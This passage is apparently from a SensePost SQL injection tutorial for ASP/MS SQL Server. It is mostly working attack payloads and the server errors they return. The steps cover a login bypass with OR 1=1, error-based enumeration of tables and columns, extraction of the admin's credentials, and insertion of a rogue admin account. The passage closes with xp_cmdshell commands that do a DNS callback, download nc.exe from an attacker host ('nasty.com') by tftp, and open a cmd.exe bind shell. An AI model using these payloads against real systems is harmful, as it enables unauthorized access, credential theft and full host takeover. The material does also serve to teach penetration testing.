





```

        U_Password=''
    IF [Stuff is Returned] {Login looks good}
    ELSE {Login looks bad}

```

Let us see what is happening here. The part that we entered is marked in red. In PERL we use a # to comment stuff. In C we use // or /\* \*/, and in SQL we use --. Thus, the above statement is reduced to:

```

SELECT XYZ from tblUsers
    WHERE User_ID='blah' OR 1=1
    IF [Stuff is Returned] {Login looks good}
    ELSE {Login looks bad}

```

It now becomes obvious - the 1=1 part of the statement is always true, and the select creates output, logging us in. But as who are we logged in? We are logged in as the first user in the database which is a good thing since the first user is normally the superuser or administrator.

While this is very nice and all, its not where the fun ends...

## Input Validation [advanced]:

Working on the previous example, we now look at a snippet of ASP (in a twisted sense) but this time with a stored procedure included (to timestamp the login / update the last-logged in time etc.). Thus we now have :

```

SELECT XYZ from tblUsers
    WHERE User_ID='<field from web form>' AND U_Password='<field from web
    form>'
* Run Stored procedure sp_loggedin
    IF [Stuff is Returned] {Login looks good}
    ELSE {Login looks bad}

```

It is important to note that most of the examples given here will only work if the site is using some kind of stored procedure. Being the optimistic people we are... we enter "blah' OR 1=1-" and see what happens. This time the server complains with:

```

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword
'or'.
/login.asp, line 10

```

The server is complaining because we are attempting to use an OR in a stored procedure. The fact that the stored procedure is not going to play happily with conditional queries means we have to forget about "OR"ing for a while. We get back to basics and in the username field we enter:

```
sensepost'
```

(note the single quote). The error reads:

```

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string 'sensepost' AND Password=''.
/login.asp, line 13

```

The '80040e14' error seems to be an almost catch-all/bad characters error message. Whats more interesting is the line that follows it. The returned error message has disclosed its SQL query (or part of it) and one of the columns in the queried table (see also the very first error message when just entering a single quote).

## Getting the number of columns

The error given back to us seems to be the key to successful SQL insertion hacking. David Litchfield (then with @stake) did a lot of work with disassembling ASP through ODBC error messages, and should be credited for some of the text that will follow.

Armed with the column name we got from the error message ("Password") we go back to the login page and this time use enter:

```
sensepost' group by (password)--
```

An interesting point is that both column names and table names appear to be case insensitive (which helps later if a little bit of brute force is needed). The error returned this time is:

```
The ODBC error returned this time is :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Admin.Userid' is invalid in
the select list because it is not contained in either an aggregate function or the
GROUP BY clause.
/admin/admin.asp, line 13
```

Ha! This time the error message has given us both the table name 'Admin' and the name of another column 'Userid'. We could now repeat the previous step using the newly found column name until we have enumerated all the columns in the target table.

To get a list of columns in the table we proceed to enter:

```
sensepost' union select userid from Admin--
```

The error now is:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement
containing a UNION operator must have an equal number of expressions in their
target lists.
/login.asp, line 17
```

The server is telling us that "userid" is not the only column in the table, as the UNION operator is not matching the number of columns in the table. So we add another column in our query:

```
sensepost' union select userid,userid from Admin--
```

and still get the same error message. When we try with 3 columns we get a very interesting error message:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar
value 'superAdmin' to a column of data type int.
/login.asp, line 13
```

Nice! We now know that the 1<sup>st</sup> user (possibly the admin) name is "superAdmin". In complaining about an operation it tried to perform on one of our requested "userid" columns the server has returned the value of the first userid in the table. Extracting the password for the first user is as easy as typing:

```
sensepost' union select password,password from Admin--
```

At this stage we now have a valid username and password to the site, which is nice, but lets see what else we can do.

## Finding the data types

To insert data into the table we need to know the rest of the structure of the table. With the GROUP BY operator we got the number of columns - now we need to find the type of data that is stored there. We proceed by doing:

```
sensepost' compute sum (userid)
```

SQL obviously complains about its inability to "sum" a non numerical field and in the process gives us the final piece of information about the column, its data type:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate
operation cannot take a varchar data type as an argument.
/login.asp, line 13
```

We now know that userid is of type "varchar". Obviously we can now repeat the process for the columns that we have enumerated. When we know the column name and the datatype we easily insert our own data into the table:

```
sensepost' insert into Admin(userid,password,lastlogin) values ('haroon','hi','Dec
19 2001 5:53PM')--
```

Data is now inserted into the table, as we can log in with the credentials supplied.

## Username and databases

How do we find out as what user we are executing SQL commands? If we are the system administrator its easy - we can do anything. But what if we are not? We enter the following:

```
sensepost' exec model..xp_cmdshell 'echo' -
```

The error returned contains the following:

```
Microsoft][ODBC SQL Server Driver][SQL Server]Server user 'web_user' is not a valid user in database 'model'
```

We just attempted to execute a stored procedure on a database to which we have no rights (model), the resulting error message informs us of the user we tried to execute it with. Since we don't have rights we can mine more information - trying to create a new table within a database where we don't have rights:

```
sensepost' create table master..#sensepost (x int) --
```

The error includes things like this:

```
[Microsoft][ODBC SQL Server Driver][SQL Server]CREATE TABLE permission denied, database 'SECOMMERCE', owner 'dbo'.
```

We now can see that the database we are looking at is SECOMMERCE. This might be usefull in further penetration testing.

Another thing to mention is this - some webpages uses various types of scripting to verify that user input is valid (moans if the input is not numbers or whatever). This is stupid, as this type of script can be taken out easily. All you do is safe the source to file, change the form in such as way that the action of the form is not pointing to a relative link, but to the absolute link, take out the script and surf to it locally. Something else to look at is to put SQL insertions into hidden fields or fields that are not text input boxes - like select lists etc. It has happen more than once that all fields are parsed intently except those that are not normal text fields.

## Uses

It is obvious that the methods mentioned here can cause great mischief. But how do we use it to actually control the machine - to take the host? One of the things you might want to consider is the externally stored procedures. The most usefull one is `xp_cmdshell`. This procedure is used to call DOS commands. The long and short of it - if you get an ODBC error when you put a single quote into a form you are likely to be able to run DOS command on the SQL backend.

How do we know if the command actually executed? Well, a method that has been seen to work wonders for us here at SensePost is the following:

Set up a sniffer close to a host that is not filtered from the Internet:

```
# tcpdump udp and port 53 and host <your_box_on_the_'net>
```

As you can see, we are looking for DNS requests. At the victim we fill into the form:

```
sensepost' exec master..xp_cmdshell 'nslookup a.com <your_box_on_the_'net>'--
```

What happens? The SQL backend to the form will now execute an nslookup using our box as nameserver. If the command executes successfully, we will see it on our tcpdump, and we will also see the IP address of the back-end. Note that the webserver and the SQL backend needn't run on the same platform.

Once we are certain that the command executes we can do the normal thing - upload nc.exe etc:

```
sensepost' exec master..xp_cmdshell 'tftp -I nasty.com GET nc.exe c:\nc.exe'--
```

and execute it:

```
sensepost' exec master..xp_cmdshell 'c:\nc.exe -l -p 8000 -e cmd.exe' -
```

Telnet to port 8000 on the SQL server if you can reach it, and it is yours!